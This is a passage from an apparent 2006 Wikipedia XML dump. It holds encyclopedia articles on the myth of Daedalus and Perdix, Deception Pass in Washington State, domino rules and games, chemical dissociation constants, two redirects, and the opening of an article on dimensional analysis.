Daedalus was so proud of his achievements that he could not bear the idea of a rival.  His sister had placed her son [[Perdix]] under his charge to be taught the mechanical arts.  He was an apt scholar and gave striking evidences of ingenuity.  Walking on the seashore he picked up the spine of a fish (some versions say it is a serpent's jaw that is used as the basis for the saw).  Imitating it, he took a piece of iron and notched it on the edge, and thus invented the saw.  He put two pieces of iron together, connecting them at one end with a rivet, and sharpening the other ends, and made a pair of compasses.  Daedalus was so envious of his nephew's performances that he took an opportunity, when they were together one day on the top of a high tower, to push him off. But [[Athena]], who favors ingenuity, saw him falling, and arrested his fate by changing him into a bird called after his name, the [[partridge]].  This bird does not build his nest in the trees, nor take lofty flights, but nestles in the hedges, and mindful of his fall, avoids high places.  For this crime, Daedalus was tried and banished.

Daedalus had two sons: [[Icarus (mythology)|Icarus]] and [[Iapyx]].

Daedalus gave his name [[eponym]]ously to any Greek artificer and to many Greek contraptions that represented dextrous skill. At [[Plataea]] there was a festival, the [[Daedala]], in which a temporary wooden altar was fashioned, an effigy was made from an oak-tree and dressed in bridal attire, and carried in a cart with a woman who acted as bridesmaid. The image was called ''Daedale'' and the archaic ritual given an explanation through a myth to the purpose.

In the period of [[Romanticism]], Daedalus had come to denote the classic artist,a skilled mature craftsman, while Icarus symbolizes the romantic artist, an undisputed heir of the classic artist, whose impetuous, passionate and rebellious nature as well as his defiance of formal aesthetic and social conventions ultimately prove to be self destructive.

[[Apollodorus]]. [[Bibliotheke]]. III.i.4, III.xv.8; [[Apollodorus]]. [[Epitome]]. I.8-15; Ovid. [[Metamorphoses (poem)|Metamorphoses]]. VIII.180-262; [[Ovid]]. [[Ars Amatoria]]. II; the name Taitle appears on a gold bulla.

==Cultural derivatives==
Like many other mythological and historical names, modern culture extensively wields this word in a variety of similar and entirely unrelated situations. This listing and the one in [[Daedalus (disambiguation)]] is only a scratching of the surface.

* In ''[[Deus Ex]]'', a video game realesed in 2000, Daedalus is the name of an [[AI]] entity that aids the protagonist, JC Denton.
* [[Stephen Daedalus]] is the main character in ''[[Portrait of the Artist as a Young Man]]'' by [[James Joyce]], as well as an important character in Joyce's ''[[Ulysses]]'', and is often considered to be based on Joyce himself.
* In the anime series ''[[Macross]]'' (adapted outside Japan as the first part of ''[[Robotech]]''), Daedalus is the name given to one of the aircraft carriers that make up the arms of the [[SDF-1 Macross]].
* In the [[Stargate]] universe, [[Tau'ri|Earth's]] second interstellar [[capital ship]] and first production capital ship is the USAFV [[Daedalus class battlecruiser|''Daedalus'']].
* In the [[Star Trek]] universe on of the first classes of starship was the Daedalus class Starship.
* The [[song]] &quot;Too Close To The Sun&quot; from the 1996 [[Alan Parsons]] release [[On Air]] relates the escape of [[Daedalus]] and [[Icarus]] from the [[labyrinth]] of the [[minotaur]].
* The [[song]] &quot;Stare At the Sun&quot; from the 2003 [[Thrice]] release [[The Artist in the Ambulance]] relates the fall of [[Icarus]].
* In ''[[SpaceCamp]], movie 1986, Daedalus is the name of a U.S. spacestation where the shuttle retrieves oxygen.

==Sources==
*[[Thomas Bulfinch|Thomas Bulfinch's]]'' [[Bulfinch's Mythology|Mythology]]''.


[[Category:Greek mythological people]]

[[da:Daidalos]]
[[de:Daidalos]]
[[el:Δαίδαλος]]
[[es:Dédalo]]
[[eo:Dedalo kaj Ikaro]]
[[fr:Dédale]]
[[it:Dedalo]]
[[he:דדאלוס]]
[[la:Daedalus]]
[[lt:Dedalas]]
[[nl:Daedalus]]
[[ja:ダイダロス]]
[[no:Daidalos]]
[[pl:Dedal]]
[[pt:Dédalo]]
[[ru:Дедал]]
[[sl:Dedal]]
[[sv:Daidalos]]</text>
    </revision>
  </page>
  <page>
    <title>Deception Pass</title>
    <id>8259</id>
    <revision>
      <id>36749705</id>
      <timestamp>2006-01-26T05:07:20Z</timestamp>
      <contributor>
        <ip>165.121.27.187</ip>
      </contributor>
      <comment>change &quot;looking west&quot; to &quot;looking east&quot; in photo caption.  photo shows pass island in foreground with strawberry island in background framed by Hoypus Point on right and Yokeko Point on left</comment>
      <text xml:space="preserve">[[Image:Deception Pass 2.JPG|right|thumb|200px|View from bridge looking east]]
'''Deception Pass''' is a narrow pass separating [[Whidbey Island]] from [[Fidalgo Island]], in the northwest corner of [[Washington|Washington State]].

In 1792, Captain [[George Vancouver]] and his navigator and First Mate [[Joseph Whidbey]] mistook Whidbey Island for a peninsula, and named the passage into  [[Puget Sound]] for the way the island deceived them. 

The pass is bridged by connecting Whidbey Island to the tiny Pass Island with [[Deception Pass Bridge]], and Pass Island to Fidalgo Island with Canoe Pass Bridge. The pass is surrounded by a state park.

Deception Pass is a major tourist destination and is noted for its scenic views and fast flowing tide water changes.

==External links==
*[http://www.parks.wa.gov/parkpage.asp?selectedpark=Deception%20Pass&amp;pageno=1 Deception Pass State Park webpage]
*[http://maps.google.com/maps?ll=48.407212,-122.644501&amp;spn=0.052721,0.116927&amp;t=h&amp;hl=en Google satellite view/map of Deception Pass]
*[http://www.deceptionpassfoundation.org Deception Pass Park Foundation webpage]

[[Image:Deception Pass 1.jpg|center|200px|Tourist sign at Deception Pass]]
{{Washington-geo-stub}}

[[Category:Geography of Washington]]</text>
    </revision>
  </page>
  <page>
    <title>Dominoes</title>
    <id>8262</id>
    <revision>
      <id>41728659</id>
      <timestamp>2006-03-01T09:28:55Z</timestamp>
      <contributor>
        <username>Sjorford</username>
        <id>24741</id>
      </contributor>
      <comment>rm bad video link</comment>
      <text xml:space="preserve">{{dablink|&quot;Domino&quot; redirects here&amp;mdash;for other meanings of the word, see [[Domino (disambiguation)]].}}

[[image:Dominoes.jpg|thumb|right|300px|A game of Dominoes]]
'''Dominoes''' (or &quot;dominos&quot;) generally refers to the individual or collective gaming pieces making up a  ''domino set'' (sometimes called a ''deck'' or ''pack'') or to the [[game]]s played with these pieces. (In the area of mathematical [[tiling]]s and [[polyomino]]es the word domino often refers to any [[rectangle]] formed from joining two squares edge to edge.) Standard domino sets consist of 28 pieces called ''bones'', ''cards'', ''tiles'', ''stones'', ''spinners'' or ''dominoes''. Each bone is a rectangular tile with a line dividing its ''face'' into two square ''ends''. Each end is marked with a number of black ''spots'' (also called ''pips'') or is ''blank''. The spots are generally arranged as they are on six-sided [[dice]], but because there are also blank ends having no spots there are normally seven possible faces. Standard domino sets have ends ranging from zero spots to six spots (''double six set''), but specialized sets might range from zero to nine (''double nine set''), zero to twelve (''double twelve set''), zero to fifteen (''double fifteen set''), or zero to eighteen (''double eighteen set''). The ''back'' side of a domino is generally plain. Dominoes have been made of [[bone]], [[ivory]], [[plastic]], [[metal]] and [[wood]], and occasionally are made of cardstock like that for [[playing cards]]. Dominoes are rather generic gaming devices--just as are playing cards. Many different games can be played with a set of dominoes.

==Domino tiles and suits==

Bones are generally named for the number of spots on the two ends of the bone. A bone with a ''2'' on one end and a ''5'' on the other end is called the ''2-5'', for example. Bones that have different numbers on the two ends are called ''singles'', and bones that have the same number on both ends are called ''doublets'' or ''doubles''. Bones that share a common number of spots on one end are said to be of the same ''suit''. In a double-six set, for example, ''1-0'', ''1-1'', ''1-2'', ''1-3'', ''1-4'', ''1-5'', and ''1-6'' all belong to the suit of one. All singles belong to two suits. The ''1-2'', for example, belongs to the suit of one and the suit of two. All doubles belong to one suit only by this definition. An alternate definition of suit allows all dominoes to have two suits, by counting the set of all doublets as an additional suit.

==The ranks of domino pieces==

The value of each end of a bone is determined by the number of spots on the end, with zero (blank) being the lowest and six being the highest. The rank of a bone is determined by the combined number of pips on the two ends. This rank is sometimes referred to as the bone's ''weight'' so that a higher ranking bone is called a ''heavier'' bone while a lower ranking bone is called ''lighter''.

==Playing a domino piece==
&lt;div style=&quot;float:right; width:200px; border:1px; border-style:solid; padding:2px; text-align:center&quot;&gt; [[image:Domino-eg1.jpg]]&lt;br /&gt;
''4-6 played on 4-5''&lt;/div&gt;

The bones that are face up in play are called the ''layout'', ''chain'', or ''line''. The layout will have one or more ''open ends'' that are available to be played upon. In most games, there are two open ends--one at each end of a line of bones. In some games there may be more, or there may be varying numbers depending upon the circumstances of play. In some games, the first doublet of each hand, often called the &quot;sniff&quot; or &quot;spinner&quot;, forms the intersection of a cross in the layout. This usually means that there are four open ends once the doublet has been played.

When only a single bone has been played, the two open ends are generally the two ends of the bone. If Player A played a ''4-5'', for example, there is a ''4'' on one open end and a ''5'' on the other. The next player must usually play a bone with an end that matches one of the open ends. Player B, therefore, must play a bone with either a ''4'' or a ''5'', and the matching ends must touch. If Player B plays the ''4-6'', the new bone is placed with the two ''4'' ends touching so that the new open ends are ''5'' and ''6''. Doubles are placed crosswise and ''sprouted'' (played upon) crosswise. As the layout grows, the two ends of the layout generally form the two playable ends.

==Common domino games==
Most domino games are ''block'' games or ''draw'' games. In draw games, players draw from the boneyard when they have no matching bone. In block games, players pass and forfeit the turn when they have no matching bone. Otherwise, there is no difference. Both generally consist of several hands of dominoes played until one of the players accumulates an agreed upon number of points and wins the series. Points are generally earned only by the first player in each hand to ''go out'' (play his or her last bone, also called ''to domino'') and win the hand. The primary object is thus to play all one's bones before an opponent does.

There are many existing rules for determining which player is the ''leader'' (or ''downer''), the player to make the first play of the hand. In some rules, the lead is determined by lottery. The bones are shuffled face down on the table, and each player draws one bone. The player with the highest double, or heaviest bone, or other agreed upon prize is designated the leader. By this rule, the leader then reshuffles the bones before the final deal. By other rules, the final deal determines the leader. Playing the first bone of a hand is sometimes called ''setting'' the first bone, ''leading'' the first bone, ''downing'' the first bone, or ''posing'' the first bone, and the bone so ''set'', ''led'', ''downed'', or ''posed'' is called ''the set'', ''the lead'', ''the down'', or ''the pose''. After the first hand, the winner of the previous hand is usually the leader for the next. By some rules, however, the lead rotates player to player across hands.

After the final shuffle the bones are dealt; each player in turn draws the number of bones required. The stock of bones left behind is called the ''boneyard'', and the bones therein are said to be ''sleeping''. If the leader was determined by lottery, the leader sets by placing any bone face up on the table. If the leader was not determined by lottery, the player with the highest double leads with that double, and if no player has a double, the hand is reshuffled and redealt.

The next player, and all players in turn, must play a bone with an end that matches one of the open ends of the layout. Play continues until one of the players goes out (and calls &quot;out!&quot; or &quot;domino!&quot;) and wins the hand or until all the players are blocked. If all the players are blocked the player with the lightest hand wins.

In block games, players who cannot match on their turn must forfeit the turn by ''knocking'' (passing)--accomplished by rapping twice on the table or by saying, &quot;go&quot; or &quot;pass&quot;. In draw games, players who cannot match must draw bones from the boneyard until obtaining a playable bone. According to most rules, the last two bones in the boneyard may not be drawn. If the boneyard is exhausted (only two bones left), the player knocks.

The winning player scores a point for each pip on each bone still held by each opponent. If no player went out, however, and the win was determined by the lightest hand, the winning player sometimes scores a point for each pip on each bone still held by each opponent, and sometimes only the excess held by opponents. A game is generally played to 100 points, the tally being kept with [[paper]] and [[pencil]] or on a [[cribbage|cribbage board]].

===Muggins (or, All Fives or Five Up)===
Points are earned when a player plays a bone with the result that the ''count'' (the sum of all open ends) is a multiple of five. The points earned are equal to the sum of the ends. Therefore, if in the course of play a player plays a bone that makes the sum of the ends 5, 10, 15 or 20, the player scores that number. All pips on a crosswise doublet are included in the count.

Each player takes five bones (four players) or seven bones (two players). If the leader plays the ''6-4'', ''5-5'', ''5-0'', ''4-1'', or ''3-2'', the count is evenly divisible by five and so the player scores. If, later, the ends before play are ''2'' and ''4'', the next player can play the ''4-4'' crosswise and score 10. Each player must play if holding a matching bone. A player who cannot match must draw until obtaining a playable bone. Scores are called and taken immediately.

The player who goes out wins additional points based on the pips still in other players' hands. Each opponent's hand is rounded to the nearest multiple of five and the result is given the winner. For example, the winner scores 25 for 27 pips in an opponent's hand and 30 for 28 points. If all players are blocked, the lightest hand wins, still earning points based on the pips in opponents' hands.

===All Threes===
All Threes is played in the same manner as Muggins, except that points are earned for multiples of three.

===Fives and Threes===
Fives and Threes is similar to Muggins and All Threes, but points are scored for multiples of five and multiples of three at the open ends. Multiples of five and multiples of three are worth one point each. These can be scored in combination, however. If Player A plays the ''6-5'' and Player B the ''6-1'', then Player B scores 2 points because ''5'' and ''1'' sum to six (two threes). Player A then plays the ''1-5'' and earns 2 points because ''5'' and ''5'' sum to 10 (two fives). If Player B then plays the ''5-5'' crosswise, Player B scores 8 points, 5 for five threes and 3 for three fives. 

Fives and Threes can be played with or without a ''sniff'' (see ''Playing a domino piece''). Games are often played to 31, 61, or 121 points using a cribbage board to score.

===Matador===
[[Matador]], meaning &quot;killer&quot; (of the bull in a [[bull fight]]) in [[Spanish language|Spanish]], is a common draw game with the usual object of going out first and collecting points based on the bones still in ones opponents hands. The rules governing play of a bone, however, are different.

New bones are not played matching end to matching end. Instead, bones are played so that the sum of the open end and the new end touching it sum to seven. If one of the open ends is a ''3'', for example, any bone with a ''4'' can be placed abutted with the ''3''. If a ''4-2'' is played, the ''4'' is placed against the ''3'' and the ''2'' becomes the new open end. As Matador is played with bones no higher than six, a blank means the blocking of that end because there is no tile that can sum with zero to seven. No further play can take place at that end excepting by playing a ''matador'', which may be played at any time.

There are four matadors, the ''6-1'', ''5-2'', ''4-3'' and ''0-0''--that is, all the tiles whose two ends sum to 7 and the ''0-0''. It is often better to draw one or more fresh bones than to play one's last matador, as it may save the game at a critical juncture. In playing, a double counts as a single number only, but in scoring the full number of pips is counted. When the game has been definitely blocked the player with the lightest hand scores the number of the combined hands (sometimes only the excess in his opponent's hand), the game being usually 100. Matador can be played by three people, in which case the two having the lowest scores usually combine against the threatening winner; and also by four, either each player against all others or two on a side.

A player who cannot make a seven on either end must draw from the boneyard until securing a playable bone (although two bones must remain in the boneyard). If the boneyard is exhausted, the player must knock. A player may also draw a bone even when holding a playable bone.

==Other games==

There are also a variety of other games played with dominoes. Some are simple memory games like ''Concentration'' (based on the card game of same name), some are complex, and some are simple solitaire games.

===Concentration===

Concentration is generally played by two players. The bones are placed face down on the table,  shuffled by one, both, or all players and then arranged in a simple rectangular grid. For double-six dominoes, for example, the 28 bones would be placed in four rows of seven bones each.

The goal of play is to collect pairs of bones. The player who collects the most pairs wins the game. With double-six dominoes, pairs consist of any two bones whose pips sum to 12. For example, the ''3-5'' and the ''0-4'' form a pair. In some variations, doubles can only form pairs with other doubles so that the ''2-2'', for example, can only be paired with the ''4-4''.

Players, in turn, try to collect pairs by turning over and exposing the faces of two bones from the grid. If the four faces of the two bones sum to 12, the player takes the two bones, scores a point (in some rules a point for each bone taken), and plays again. If the tally is any other number, the bones are turned face down again and the player's turn is over.

The first player to accumulate 50 (or 100) points wins the series.

===Chickie Dominos (Chicken Foot)===

Chickie dominos is a low score wins game. Chickie Dominos is played in rounds, one round for each double domino in the set.

====Setup====
For double 6 dominos, there are seven rounds. The score keeper writes 0 through 6 on the top of the score sheet and creates a score column for each player.  All dominos are face down in the center. Each player picks 5 dominos at random to make their hand. 

[[Image:ChckieFirst.PNG|thumb|The opening play in a game of Chickie Dominos begins with the highest double in the deck. If no player has the highest double in their hand, then the next highest double is played and so on.]]

====The First Round====
The player with the double 6 lays it down in the center of the play field. If no player has the double 6 then the player with the next highest double plays it. The player to the left of the player who lead the double 6 plays any domino in their hand with a 6 on it on one of the four sides of the double 6 with the played domino's 6 against a free side of the double 6. The next player plays another 6 on a remaining side until all four sides are filled. If a player cannot play because they do not have a 6, then the player draws one domino from the bone yard and either plays it because it has a 6 or calls &quot;Pass&quot;. No other plays can be made until all four sides of the double are filled. Once all four sides are filled, the player to the left of the last person to fill the 6 can play any domino in their hand that matches an exposed end of a played domino. If a player is unable to match any exposed dominos, they must draw one domino from the bone pile and either play it if possible or call &quot;Pass&quot;. If no dominos remain to draw from, the player simply calls &quot;Pass&quot;.
[[Image:Chickie4s.PNG|thumb|The result of Chickie Fours shows the double four played against the previously open 6:4, followed by three more fours played on the double four. No other numbers may be played until the required three fours are played.]]

====Chickie====
Any time a player plays a double on an exposed domino where the double is the same number as the exposed domino, the player calls &quot;Chickie (Number)&quot;. For example, if a player played a double 5 on the end of a 6/5 domino they would lay it long side against the end with the 5 and call &quot;Chickie Fives&quot;. No other dominos can be played until three more 5's are played against the double 5. The three dominos played against the double 5 are played on the long side opposite the side originally played. The end result will look like a chicken foot with the double 5 having one domino laid [[perpendicular]] to one side, and three more dominos on the opposite side, the middle being perpendicular and the other two at 45 degrees to perpendicular. Any player who does not have a 5 must draw a domino from the bone pile and either play it if it has a 5 or call &quot;Pass&quot;. Once all three 5's are played, the next player may play any domino in their hand on any exposed end that matches. Play continues until a player is out of dominos or no player can make a legal play.

====Ending a round====
A round is over when either one player plays the last domino in their hand or no players can make a legal play. This situation can occur if someone chickie's a number that no longer has three remaining free dominos to play on it.

At the end of a round, each player adds the spots on the dominos in their hand and adds this to their score. The score keeper crosses out the double that lead the round and the next round begins with the highest double left. When all 7 rounds are played, the player with the lowest score wins.

====Strategy====
Since the object of the game is to have the lowest score, it is in your best interest to get rid of your high value dominos and at the same time, prevent your opponents from playing theirs. To this end, one strategy is to try to keep high value exposed ends covered which prevents opponents from chickie-ing them. Another strategy is to horde low value dominos and try to use up a particular number which you have the double for. Once you know that there are no longer three free dominos to complete the chickie, you control when the round ends by playing the chickie. This is especially good when you also have that number as your last domino.  It also pays to keep the double blank since it adds no value to your score. Like poker, watching for looks of desperation on your opponents faces can clue you in to who has the big doubles.

===Forty-two===

A [[trick-taking game]] like [[contract bridge|bridge]], but played with dominoes, originating in Texas.  Popular in [[Texas]] and other [[Southern United States|southern states]].  See [[42 (dominoes)]].

==More Dominos==
With bigger domino sets, it is possible to have more players. Double 9s is good for 4 to 6 players and each player would start with 7 dominos in their hand.
Double 12s is good for up to 10 players, each with 7 dominos. If you have fewer players and more dominos, start with more dominos in each players hand, but leave enough dominos in the bone pile to draw from.  When using double 12s, make sure you have plenty of playing room as it can spread out considerably.

Double 6s = 7 rounds, double 9s = 10 rounds, double 12s = 13 rounds.

== The origin of dominoes==
Dominoes are descendants of dice. The two ends on each of the original [[Chinese dominoes]] represented one of the 21 combinations that can occur with the throw of two dice. Modern western dominoes, however, have blank ends on them as well and so the number of dominoes is generally 28. Dominoes were apparently unknown in Europe until the [[18th century]] and may have been invented in their modern form in [[Italy]]. The dark spots on light faces apparently reminded people of masquerade masks with eyeholes (called ''dominoes'') and thus gave the playing pieces their name. Chinese dominoes do not have blanks, but some whole tiles are duplicated.

==Other uses of dominoes==
[[Image:Albert Anker 001.jpg|thumb|220px|[[Albert Anker]]: Girl with dominoes, 2nd half of 19th century]]
Other than playing games of strategy, another common pastime using domino tiles is to stand them on edge in long lines, then topple the first tile, which falls on and topples the second, etc., resulting in all of the tiles falling.  Arrangements of thousands of tiles have been made that have taken several minutes to fall.  By analogy, similar phenomena of chains of small events each causing similar events leading to eventual catastrophe are called [[domino effect]]s.

The [[Netherlands]] has hosted an annual domino toppling exhibition called [[Domino Day]] since [[1986]]. The event held on [[November 18]], [[2005]] knocked over 4,155,476 dominoes.

==See also==

*[[Chinese dominoes]] 
*[[Pub games]]

==References==

*''Hoyle's Rules of Games 3rd Ed''. (2001). Hoyle, Edmond, Mott-Smith, Geoffrey, &amp; Morehead, Philip, &amp; Morehead, A. H. (Eds). Signet. ISBN 0451204840
''This article incorporates text from the [[public domain]] [[1911 Encyclopædia Britannica]].''

==External links==
{{commonscat|Dominoes}}
*[http://www.domino-games.com/ Domino-Games.com]
*[http://www.dominospiel.de/index.php?lang=EN Fédération Internationale de Domino (FIDO)]
*[http://www.dominodomain.com/ World record holder domino toppling: Weijers Domino Productions]
*[http://www.xs4all.nl/~spaanszt/Domino_Plaza.html Domino Plaza]
*[http://www.xs4all.nl/~spaanszt/Domino/Books.html Domino Plaza's list of books about Dominoes]
*[http://www.gamecabinet.com/rules/DominoGames.html Dominoes at the Game Cabinet]. Includes a short history of dominoes.
*[http://www.worlddomino.com/ Championship Domino Tournament] Includes tournament and game (All Fives) rules.
*[http://www.pagat.com/tile/wdom/mextrain.html Mexican Train] rules
*[http://www.pagat.com/tile/wdom/index.html Western Domino Games] 
*[http://www.phelios.com/pc/dominoes.html dominoes] 
* [http://www.cut-the-knot.org/Curriculum/Combinatorics/DominoCovering.shtml Dominoes on a Chessboard]

[[Category:1911 Britannica]]
[[Category:Tile-based games]]
[[Category:Polyforms]]
[[Category:Pub games]]

[[da:Domino]]
[[de:Dominospiel]]
[[es:Dominó]]
[[eo:Domeno (ludo)]]
[[fr:Domino (jeu)]]
[[he:דומינו]]
[[hu:Dominó]]
[[nl:Domino]]
[[ja:ドミノ]]
[[pl:Domino]]
[[pt:Dominó]]
[[ru:Домино]]
[[sv:Domino]]
[[zh:骨牌]]</text>
    </revision>
  </page>
  <page>
    <title>Dissociation constant</title>
    <id>8263</id>
    <revision>
      <id>41089669</id>
      <timestamp>2006-02-24T23:57:46Z</timestamp>
      <contributor>
        <ip>85.146.124.224</ip>
      </contributor>
      <comment>/* p''K'' */</comment>
      <text xml:space="preserve">In [[chemistry]] and [[biochemistry]], a '''dissociation constant''' or an '''ionization constant''' is a specific type of [[equilibrium constant]] used for reversible reactions or processes. That means that it refers to the extent to which a [[Complex_(chemistry)|complex]], [[molecule]], or [[salt]] separates or splits into smaller molecules, ions, or [[Radical_(chemistry)|radicals]] in a reversible manner. The dissociation constant is represented by the symbol ''K''&lt;sub&gt;d&lt;/sub&gt;.

Given the reaction

:A&lt;sub&gt;x&lt;/sub&gt;B&lt;sub&gt;y&lt;/sub&gt; &lt;=&gt; xA + yB

It is given by the expression

:&lt;math&gt;K_d = \frac{[A]^x \times [B]^y}{[A_x B_y]}&lt;/math&gt;

Where [A], [B], and [A&lt;sub&gt;x&lt;/sub&gt;B&lt;sub&gt;y&lt;/sub&gt;] indicate the concentrations of A, B, and A&lt;sub&gt;x&lt;/sub&gt;B&lt;sub&gt;y&lt;/sub&gt;, respectively.

== p''K'' ==
The '''p''K'' value''' is defined as:

:&lt;math&gt;\!\, pK = -\log{K_d}&lt;/math&gt;

where K&lt;sub&gt;d&lt;/sub&gt; is the dissociation constant.

As a frequently used special case, the dissociation constant of [[water]] is often expressed as K&lt;sub&gt;w&lt;/sub&gt;:

&lt;math&gt;K_w = {[H^+] \cdot [OH^-] \over [H_2O]}&lt;/math&gt;

The value of K&lt;sub&gt;w&lt;/sub&gt; varies with temperature, as shown in the table below.  This variation must be taken into account when making precise measurements of quantities such as [[pH]].

{| class='prettytable'
!- valign=&quot;bottom&quot; align=&quot;left&quot; | '''Water temperature'''
| valign=&quot;bottom&quot; align=&quot;left&quot; | '''K&lt;sub&gt;d&lt;/sub&gt;/10&lt;sup&gt;-14&lt;/sup&gt;'''
| valign=&quot;bottom&quot; align=&quot;left&quot; | '''pK&lt;sub&gt;d&lt;/sub&gt;'''
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 0°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 0.1
| valign=&quot;bottom&quot; align=&quot;left&quot; | 14.92
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 10°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 0.3
| valign=&quot;bottom&quot; align=&quot;left&quot; | 14.52
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 18°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 0.7
| valign=&quot;bottom&quot; align=&quot;left&quot; | 14.16
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 25°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 1.2
| valign=&quot;bottom&quot; align=&quot;left&quot; | 13.92
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 30°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 1.8
| valign=&quot;bottom&quot; align=&quot;left&quot; | 13.75
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 50°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 8.0
| valign=&quot;bottom&quot; align=&quot;left&quot; | 13.10
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 60°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 12.6
| valign=&quot;bottom&quot; align=&quot;left&quot; | 12.90
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 70°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 21.2
| valign=&quot;bottom&quot; align=&quot;left&quot; | 12.67
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 80°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 35
| valign=&quot;bottom&quot; align=&quot;left&quot; | 12.46
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 90°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 53
| valign=&quot;bottom&quot; align=&quot;left&quot; | 12.28
|-----
| valign=&quot;bottom&quot; align=&quot;left&quot; | 100°C
| valign=&quot;bottom&quot; align=&quot;left&quot; | 73
| valign=&quot;bottom&quot; align=&quot;left&quot; | 12.14
|}

== Acid base reactions ==
For the [[deprotonation]] of [[acid]]s, ''K'' is known as ''K''&lt;sub&gt;a&lt;/sub&gt;, the  [[acid dissociation constant]]. Stronger acids, for example [[sulfuric acid|sulfuric]] or [[phosphoric acid]], have larger dissociation constants; weaker acids, like [[acetic acid]], have smaller dissociation constants. A molecule can have several acid dissociation constants. In this regard, that is depending on the number of the protons they can give up, we define [[monoprotic]], [[diprotic]] and [[triprotic]] acids. The first (e.g. [[acetic acid]] or [[ammonium]]) have only one dissociable group, the second ([[carbonic acid]], [[bicarbonate]], [[glycine]]) have two dissociable groups and the third (e.g. [[phosphoric acid]]) have three dissociable groups. In the case of multiple p''K'' values they are designated by indices: p''K''&lt;sub&gt;1&lt;/sub&gt;, p''K''&lt;sub&gt;2&lt;/sub&gt;, p''K''&lt;sub&gt;3&lt;/sub&gt; and so on. For amino acids, the p''K''&lt;sub&gt;1&lt;/sub&gt; constant refers to its [[carboxyl]] (-COOH) group, p''K''&lt;sub&gt;2&lt;/sub&gt; refers to its [[amino]] (-NH&lt;sub&gt;3&lt;/sub&gt;) group and the p''K''&lt;sub&gt;3&lt;/sub&gt; is the p''K'' value of its side chain.

&lt;math&gt;H_3 B \Longleftrightarrow\ H ^ + + H_2 B ^ - \qquad K_1 = {[H ^ +] \cdot [H_2 B ^ -] \over [H_3 B]} \qquad pK_1 = - log  K_1 &lt;/math&gt;


&lt;math&gt;H_2 B ^ - \Longleftrightarrow\ H ^ + + H B ^ {-2} \qquad K_2 = {[H ^ +] \cdot [H B ^{-2} ] \over [H_2 B^ -]} \qquad pK_2 = - log  K_2 &lt;/math&gt;


&lt;math&gt;H B  ^{-2} \Longleftrightarrow\ H ^ + +  B ^{-3} \qquad K_3 = {[H ^ +] \cdot [ B ^ {-3}] \over [H B ^ {-2} ]} \qquad pK_3 = - log  K_3 &lt;/math&gt;

== See also ==
* [[Acid dissociation constant]]
* [[Base dissociation constant]]
* [[Receptor (biochemistry)]]
* [[Dissociation (chemistry)]]
* [[Equilibrium Constant]]

{{chem-stub}}

[[ar:ثابت انحلال]]
[[de:Dissoziationskonstante]]
[[it:Costante di dissociazione]]
[[et:Dissotsiatsiooniaste]]
[[ko:이온화 상수]]
[[pl:Stała dysocjacji]]
[[ru:Константа диссоциации]]</text>
    </revision>
  </page>
  <page>
    <title>Dumpster-diving</title>
    <id>8264</id>
    <revision>
      <id>26458130</id>
      <timestamp>2005-10-25T17:50:31Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: [[Wikipedia:Computer help desk/cleanup/double redirects/20051009|fixing double-redirect]] -&quot;Dumpster® diving&quot; +&quot;Dumpster diving&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Dumpster diving]]</text>
    </revision>
  </page>
  <page>
    <title>DMCA</title>
    <id>8266</id>
    <revision>
      <id>15906275</id>
      <timestamp>2004-06-04T06:41:43Z</timestamp>
      <contributor>
        <ip>Template namespace initialisation script</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Digital Millennium Copyright Act]] {{r_from_abbreviation}}</text>
    </revision>
  </page>
  <page>
    <title>Dimensional analysis</title>
    <id>8267</id>
    <revision>
      <id>41763305</id>
      <timestamp>2006-03-01T15:53:10Z</timestamp>
      <contributor>
        <username>DonSiano</username>
        <id>215548</id>
      </contributor>
      <comment>/* See also */already  linked in text, so removed dimensional number</comment>
      <text xml:space="preserve">'''Dimensional analysis''' is a conceptual tool often applied in [[physics]], [[chemistry]], and [[engineering]] to understand physical situations involving a mix of different kinds of physical quantities.  It is routinely used by physical scientists and engineers to check the correctness of [[derivation|derived]] equations and computations. It is also used to form reasonable hypotheses about complex physical situations that can be tested by experiment or by more developed theories of the phenomena.

== Introduction ==
The dimensions of a physical quantity are associated with symbols, such as ''M'', ''L'', ''T'' which represent mass, length and time, and each raised to rational powers.  For instance, the dimension of the physical quantity, [[speed]], is distance/time (''L''/''T'') and the dimension of a [[force (physics)|force]] is mass × distance/time² or ''ML''/''T''&lt;sup&gt;2&lt;/sup&gt;.  In mechanics, every dimension of physical quantity can be expressed in terms of distance (which physicists often call &quot;length&quot;), time, and mass, or alternatively in terms of force, length and mass. Depending on the problem, it may be advantageous to choose one or another other set of dimensional symbols. In electromagnetism, for example, it may be useful to use dimensions of ''M'', ''L'', ''T'', and ''Q'', where ''Q'' represents quantity of [[electric charge]].  

The units of a physical variable and its dimensions should be clearly differentiated.  The [[Units of measurement|unit]]s of a physical quantity are defined by convention, related to some standard; e.g. length may have units of meters, feet, inches, miles or micrometres;  but a length always has a dimension of L.  Two different units of a variable have [[Conversion of units|conversion factors]] between them.  For example: 1 m = 39.37 in;  the 39.37 is called a conversion factor.  There are no conversion factors between dimensional symbols. 

